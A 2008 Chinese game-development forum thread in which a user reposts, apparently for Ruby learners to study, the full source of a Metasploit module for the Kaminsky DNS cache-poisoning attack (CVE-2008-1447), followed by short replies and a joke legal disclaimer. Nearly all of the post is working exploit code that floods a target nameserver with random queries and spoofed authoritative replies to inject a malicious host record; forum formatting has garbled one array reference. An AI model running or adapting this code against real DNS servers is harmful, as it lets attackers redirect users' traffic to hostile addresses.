设为首页收藏本站|繁體中文

Project1

 找回密码
 注册会员
搜索
查看: 2491|回复: 4
打印 上一主题 下一主题

国外用ruby写的部分攻击DNS代码

 关闭 [复制链接]

Lv1.梦旅人

WG后援团
此人已死 有事烧纸

梦石
0
星屑
69
在线时间
12 小时
注册时间
2008-1-12
帖子
1829

贵宾

跳转到指定楼层
1
发表于 2008-8-2 21:51:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

加入我们,或者,欢迎回来。

您需要 登录 才可以下载或查看,没有帐号?注册会员

x
require 'msf/core'
require 'net/dns'
require 'scruby'
require 'resolv'

module Msf

class Auxiliary::Spoof::Dns::BaliWickedHost < Msf::Auxiliary

        include Exploit::Remote::Ip

        def initialize(info = {})
                super(update_info(info,       
                        'Name'           => 'DNS BaliWicked Attack',
                        'Description'    => %q{
                                This exploit attacks a fairly ubiquitous flaw in DNS implementations which
                                Dan Kaminsky found and disclosed ~Jul 2008.  This exploit caches a single
                                malicious host entry into the target nameserver by sending random sub-domain
                                queries to the target DNS server coupled with spoofed replies to those
                                queries from the authoritative nameservers for the domain which contain a
                                malicious host entry for the hostname to be poisoned in the authority and
                                additional records sections.  Eventually, a guessed ID will match and the
                                spoofed packet will get accepted, and due to the additional hostname entry
                                being within baliwick constraints of the original request the malicious host
                                entry will get cached.
                        },
                        'Author'         => [ 'I)ruid', 'hdm' ],
                        'License'        => MSF_LICENSE,
                        'Version'        => '$Revision$',
                        'References'     =>
                                [
                                        [ 'CVE', '2008-1447' ],
                                        [ 'US-CERT-VU', '8000113' ],
                                        [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.html' ],
                                ],
                        'Privileged'     => true,
                        'Targets'        =>
                                [
                                        ["BIND",  
                                                {
                                                        'Arch' => ARCH_X86,
                                                        'Platform' => 'linux',
                                                },
                                        ],
                                ],
                        'DisclosureDate' => 'Jul 21 2008'
                        ))
                       
                        register_options(
                                [
                                        OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
                                        OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.doxpara.com']),
                                        OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
                                        OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
                                        OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),
                                        OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]),
                                ], self.class)
                                       
        end
       
        def auxiliary_commands
                return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
        end

        def cmd_check(*args)
                targ = args[0] || rhost()
                if(not (targ and targ.length > 0))
                        print_status("usage: check [dns-server]")
                        return
                end

                print_status("Using the Metasploit service to verify exploitability...")
                srv_sock = Rex::Socket.create_udp(
                        'PeerHost' => targ,
                        'PeerPort' => 53
                )               

                random = false
                ports  = []
                lport  = nil
               
                1.upto(5) do |i|
               
                        req = Resolv::DNS::Message.new
                        txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
                        req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
                        req.rd = 1
                       
                        srv_sock.put(req.encode)
                        res, addr = srv_sock.recvfrom()
                       

                        if res and res.length > 0
                                res = Resolv::DNS::Message.decode(res)
                                res.each_answer do |name, ttl, data|
                                        if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
                                                t_addr, t_port = $1.split(':')

                                                print_status(" >> ADDRESS: #{t_addr}  PORT: #{t_port}")
                                                t_port = t_port.to_i
                                                if(lport and lport != t_port)
                                                        random = true
                                                end
                                                lport  = t_port
                                                ports << t_port
                                        end
                                end
                        end       
                end
               
                srv_sock.close
               
                if(ports.length < 5)
                        print_status("UNKNOWN: This server did not reply to our vulnerability check requests")
                        return
                end
               
                if(random)
                        print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}")
                        print_status("      This server may still be exploitable, but not by this tool.")
                else
                        print_status("FAIL: This server uses static source ports and is vulnerable to poisoning")
                end
        end
               
        def run
                target   = rhost()
                source   = Rex::Socket.source_address(target)
                sport    = datastore['SRCPORT']
                hostname = datastore['HOSTNAME'] + '.'
                address  = datastore['NEWADDR']
                recons   = datastore['RECONS']
                xids     = datastore['XIDS'].to_i
                ttl      = datastore['TTL'].to_i

                domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0]

                srv_sock = Rex::Socket.create_udp(
                        'PeerHost' => target,
                        'PeerPort' => 53
                )

                # Get the source port via the metasploit service if it's not set
                if sport.to_i == 0
                        req = Resolv::DNS::Message.new
                        txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
                        req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
                        req.rd = 1
                       
                        srv_sock.put(req.encode)
                        res, addr = srv_sock.recvfrom()
                       
                        if res and res.length > 0
                                res = Resolv::DNS::Message.decode(res)
                                res.each_answer do |name, ttl, data|
                                        if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
                                                t_addr, t_port = $1.split(':')
                                                sport = t_port.to_i

                                                print_status("Switching to target port #{sport} based on Metasploit service")
                                                if target != t_addr
                                                        print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
                                                end
                                        end
                                end
                        end
                end

                # Verify its not already cached
                begin
                        query = Resolv::DNS::Message.new
                        query.add_question(hostname, Resolv::DNS::Resource::IN::A)
                        query.rd = 0

                        begin
                                cached = false
                                srv_sock.put(query.encode)
                                answer, addr = srv_sock.recvfrom()

                                if answer and answer.length > 0
                                        answer = Resolv::DNS::Message.decode(answer)
                                        answer.each_answer do |name, ttl, data|
                                                if((name.to_s + ".") == hostname  and data.address.to_s == address)
                                                        t = Time.now + ttl
                                                        print_status("Failure: This hostname is already in the target cache: #{name} == #{address}")
                                                        print_status("         Cache entry expires on #{t.to_s}... sleeping.")
                                                        cached = true
                                                        sleep ttl
                                                end
                                        end
                                end
                        end until not cached
                rescue ::Interrupt
                        raise $!
                rescue ::Exception => e
                        print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
                end

                res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver

                print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"

                # Look up the nameservers for the domain
                print_status "Querying recon nameserver for #{domain}'s nameservers..."
                answer0 = res0.send(domain, Net::DNS::NS)
                #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"

                barbs = [] # storage for nameservers
                answer0.answer.each do |rr0|
                        print_status " Got an #{rr0.type} record: #{rr0.inspect}"
                        if rr0.type == 'NS'
                                print_status "Querying recon nameserver for address of #{rr0.nsdname}..."
                                answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
                                #print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
                                answer1.answer.each do |rr1|
                                        print_status " Got an #{rr1.type} record: #{rr1.inspect}"
                                        res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)
                                        print_status "Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
                                        answer2 = res2.send(domain)
                                        if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
                                                nsrec = {:name => rr0.nsdname, :addr => rr1.address}
                                                barbs << nsrec
                                                print_status "  #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
                                        end
                                end
                        end       
                end

                if barbs.length == 0
                        print_status( "No DNS servers found.")
                        srv_sock.close
                        disconnect_ip
                        return
                end

                # Flood the target with queries and spoofed responses, one will eventually hit
                queries = 0
                responses = 0

                connect_ip if not ip_sock

                print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...")

                while true
                        randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname

                        # Send spoofed query
                        req = Resolv::DNS::Message.new
                        req.id = rand(2**16)
                        req.add_question(randhost, Resolv::DNS::Resource::IN::A)

                        req.rd = 1

                        buff = (
                                Scruby::IP.new(
                                        #:src   => barbs[0][:addr].to_s,
                                        :src   => source,
                                        :dst   => target,
                                        :proto => 17
                                )/Scruby::UDP.new(
                                        :sport => (rand((2**16)-1024)+1024).to_i,
                                        :dport => 53
                                )/req.encode
                        ).to_net
                        ip_sock.sendto(buff, target)
                        queries += 1
                       
                        # Send evil spoofed answer from ALL nameservers (barbs
  • [:addr])
                            req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address))
                            req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
                            req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address))
                            req.qr = 1
                            req.ra = 1

                            p = rand(4)+2*10000
                            p.upto(p+xids-1) do |id|
                                    req.id = id
                                    barbs.each do |barb|
                                            buff = (
                                                    Scruby::IP.new(
                                                            #:src   => barbs[:addr].to_s,
                                                            :src   => barb[:addr].to_s,
                                                            :dst   => target,
                                                            :proto => 17
                                                    )/Scruby::UDP.new(
                                                            :sport => 53,
                                                            :dport => sport.to_i
                                                    )/req.encode
                                            ).to_net
                                            ip_sock.sendto(buff, target)
                                            responses += 1
                                    end
                            end

                            # status update
                            if queries % 1000 == 0
                                    print_status("Sent #{queries} queries and #{responses} spoofed responses...")
                            end

                            # every so often, check and see if the target is poisoned...
                            if queries % 250 == 0
                                    begin
                                            query = Resolv::DNS::Message.new
                                            query.add_question(hostname, Resolv::DNS::Resource::IN::A)
                                            query.rd = 0
           
                                            srv_sock.put(query.encode)
                                            answer, addr = srv_sock.recvfrom()

                                            if answer and answer.length > 0
                                                    answer = Resolv::DNS::Message.decode(answer)
                                                    answer.each_answer do |name, ttl, data|
                                                            if((name.to_s + ".") == hostname and data.address.to_s == address)
                                                                    print_status("Poisoning successful after #{queries} attempts: #{name} == #{address}")
                                                                    disconnect_ip
                                                                    return
                                                            end
                                                    end
                                            end
                                    rescue ::Interrupt
                                            raise $!
                                    rescue ::Exception => e
                                            print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
                                    end
                            end

                    end

            end

    end
    end       
  • 郑重声明:
    1.本人是文盲,以上内容文字均不认识,也看不懂是什么意思。
    2.此事与本人一点关系都没有,只是本着“看贴(虽然看不懂)回贴,利人利己的中华民族优秀传统美德”,顺便赚1个RP。
    3. 本人在此留言均为网络上复制,并不代表本人同意、支持或者反对楼主观点。  
    4. 如本人留言违反国家有关法律,请网络管理员及时删除本人跟贴。  
    5. 因删贴不及时所产生的任何法律(包括宪法,民法,刑法,书法,公检法,基本法,劳动法,婚姻法,输入法,没办法,国际法,今日说法,吸星大-法,与台湾关系法及文中涉及或可能涉及以及未涉及之法,各地治安管理条例)纠纷或责任本人概不负责。
    6. 本人谢绝任何跨省追捕行为,如有需要请直接联系楼主、原作者以及网络管理员或法人代表。  
    7. 此声明最终解释权归本人所有。

    Lv1.梦旅人

    B

    梦石
    0
    星屑
    50
    在线时间
    26 小时
    注册时间
    2007-8-26
    帖子
    3693
    2
    发表于 2008-8-4 19:54:36 | 只看该作者
    虾米东西
    回复 支持 反对

    使用道具 举报

    Lv1.梦旅人

    星辰创始

    梦石
    0
    星屑
    55
    在线时间
    154 小时
    注册时间
    2008-3-8
    帖子
    611
    3
    发表于 2008-8-4 21:11:34 | 只看该作者
    HAKER攻击代码……{/fd}
    回复 支持 反对

    使用道具 举报

    Lv1.梦旅人

    WG后援团
    此人已死 有事烧纸

    梦石
    0
    星屑
    69
    在线时间
    12 小时
    注册时间
    2008-1-12
    帖子
    1829

    贵宾

    4
     楼主| 发表于 2008-8-7 07:32:22 | 只看该作者
    国外的一个网站上,因为我在自己的百度吧里有放所以在这也放下。我是给rubyer研究用的
    郑重声明:
    1.本人是文盲,以上内容文字均不认识,也看不懂是什么意思。
    2.此事与本人一点关系都没有,只是本着“看贴(虽然看不懂)回贴,利人利己的中华民族优秀传统美德”,顺便赚1个RP。
    3. 本人在此留言均为网络上复制,并不代表本人同意、支持或者反对楼主观点。  
    4. 如本人留言违反国家有关法律,请网络管理员及时删除本人跟贴。  
    5. 因删贴不及时所产生的任何法律(包括宪法,民法,刑法,书法,公检法,基本法,劳动法,婚姻法,输入法,没办法,国际法,今日说法,吸星大-法,与台湾关系法及文中涉及或可能涉及以及未涉及之法,各地治安管理条例)纠纷或责任本人概不负责。
    6. 本人谢绝任何跨省追捕行为,如有需要请直接联系楼主、原作者以及网络管理员或法人代表。  
    7. 此声明最终解释权归本人所有。
    回复 支持 反对

    使用道具 举报

    头像被屏蔽

    Lv1.梦旅人 (禁止发言)

    梦石
    0
    星屑
    50
    在线时间
    1 小时
    注册时间
    2008-7-11
    帖子
    23
    5
    发表于 2008-8-20 17:19:28 | 只看该作者
    提示: 作者被禁止或删除 内容自动屏蔽
    签名被屏蔽
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册会员

    本版积分规则

    拿上你的纸笔,建造一个属于你的梦想世界,加入吧。
     注册会员
    找回密码

    站长信箱:[email protected]|手机版|小黑屋|无图版|Project1游戏制作

    GMT+8, 2024-5-1 18:09

    Powered by Discuz! X3.1

    © 2001-2013 Comsenz Inc.

    快速回复 返回顶部 返回列表